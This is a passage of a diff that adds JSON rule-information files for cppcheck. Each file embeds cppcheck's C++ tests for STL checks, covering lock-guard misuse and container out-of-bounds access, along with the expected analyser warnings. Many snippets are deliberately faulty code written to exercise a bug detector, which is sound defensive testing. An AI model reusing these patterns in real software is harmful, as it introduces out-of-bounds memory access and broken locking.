v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/iterators.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/iterators.json new file mode 100644 index 0000000..de1a1c0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/iterators.json @@ -0,0 +1,13 @@ +{ + "name": "iterators", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 155, + "branches": 58, + "apis": 144, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/knownEmptyContainer.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/knownEmptyContainer.json new file mode 100644 index 0000000..ccd5b46 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/knownEmptyContainer.json @@ -0,0 +1,22 @@ +{ + "name": "knownEmptyContainer", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 37, + "branches": 15, + "apis": 34, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 6832 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 